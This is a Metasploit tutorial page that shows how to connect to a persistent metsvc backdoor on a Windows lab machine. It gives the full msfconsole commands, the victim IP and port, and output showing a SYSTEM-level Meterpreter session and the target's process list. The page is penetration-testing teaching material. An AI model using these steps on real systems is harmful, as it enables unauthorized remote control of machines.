Interacting With Metsvc a11y.text Interacting With Metsvc We will now use the multi/handler with a payload of windows/metsvc_bind_tcp to connect to the remote system. This is a special payload, as typically a Meterpreter payload is multi-stage, where a minimal amount of code is sent as part of the exploit, and then more is uploaded after code execution has been achieved. Think of a shuttle rocket, and the booster rockets that are used to get the space shuttle into orbit. This is much the same, except instead of extra items being there and then dropping off, Meterpreter starts as small as possible, then adds on. In this case however, the full Meterpreter code has already been uploaded to the remote machine, and there is no need for a staged connection. We set all of our options for metsvc_bind_tcp with the victimâ€™s IP address and the port we wish to have the service connect to on our machine. We then run the exploit. msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp

PAYLOAD => windows/metsvc_bind_tcp

msf exploit(handler) > set LPORT 31337

LPORT => 31337

msf exploit(handler) > set RHOST 192.168.1.104

RHOST => 192.168.1.104

msf exploit(handler) > show options

Module options:

Name	Current Setting	Required	Description

Payload options (windows/metsvc_bind_tcp):

```
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  EXITFUNC  thread           yes       Exit technique: seh, thread, process
  LPORT     31337            yes       The local port
  RHOST     192.168.1.104    no        The target address
```

Exploit target:

```
  Id  Name
  --  ----
  0   Wildcard Target
```

msf exploit(handler) > exploit Immediately after issuing exploit , our metsvc backdoor connects back to us. [*] Starting the payload handler...

[*] Started bind handler

[*] Meterpreter session 2 opened (192.168.1.101:60840 -> 192.168.1.104:31337)

meterpreter > ps

Process list

==========

```
  PID   Name              Path
  ---   ----              ----
```

```
 140   smss.exe          \SystemRoot\System32\smss.exe
 168   csrss.exe         \??\C:\WINNT\system32\csrss.exe
 188   winlogon.exe      \??\C:\WINNT\system32\winlogon.exe
 216   services.exe      C:\WINNT\system32\services.exe
 228   lsass.exe         C:\WINNT\system32\lsass.exe
 380   svchost.exe       C:\WINNT\system32\svchost.exe
 408   spoolsv.exe       C:\WINNT\system32\spoolsv.exe
 444   svchost.exe       C:\WINNT\System32\svchost.exe
 480   regsvc.exe        C:\WINNT\system32\regsvc.exe
 500   MSTask.exe        C:\WINNT\system32\MSTask.exe
 528   VMwareService.exe  C:\Program Files\VMware\VMware Tools\VMwareService.exe
 564   metsvc.exe        c:\WINNT\my\metsvc.exe
 588   WinMgmt.exe       C:\WINNT\System32\WBEM\WinMgmt.exe
 676   cmd.exe           C:\WINNT\System32\cmd.exe
 724   cmd.exe           C:\WINNT\System32\cmd.exe
 764   mmc.exe           C:\WINNT\system32\mmc.exe
 816   metsvc-server.exe  c:\WINNT\my\metsvc-server.exe
 888   VMwareTray.exe     C:\Program Files\VMware\VMware Tools\VMwareTray.exe
 896   VMwareUser.exe     C:\Program Files\VMware\VMware Tools\VMwareUser.exe
 940   firefox.exe       C:\Program Files\Mozilla Firefox\firefox.exe
 972   TPAutoConnSvc.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
 1000  Explorer.exe      C:\WINNT\Explorer.exe
 1088  TPAutoConnect.exe  C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe

meterpreter > pwd
C:\WINDOWS\system32
```

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > And here we have a typical Meterpreter session! Again, be careful with when and how you use this trick. System owners will not be happy if you make an attackers job easier for them by placing such a useful backdoor on the system for them. Next Persistent Backdoors Prev Meterpreter Backdoor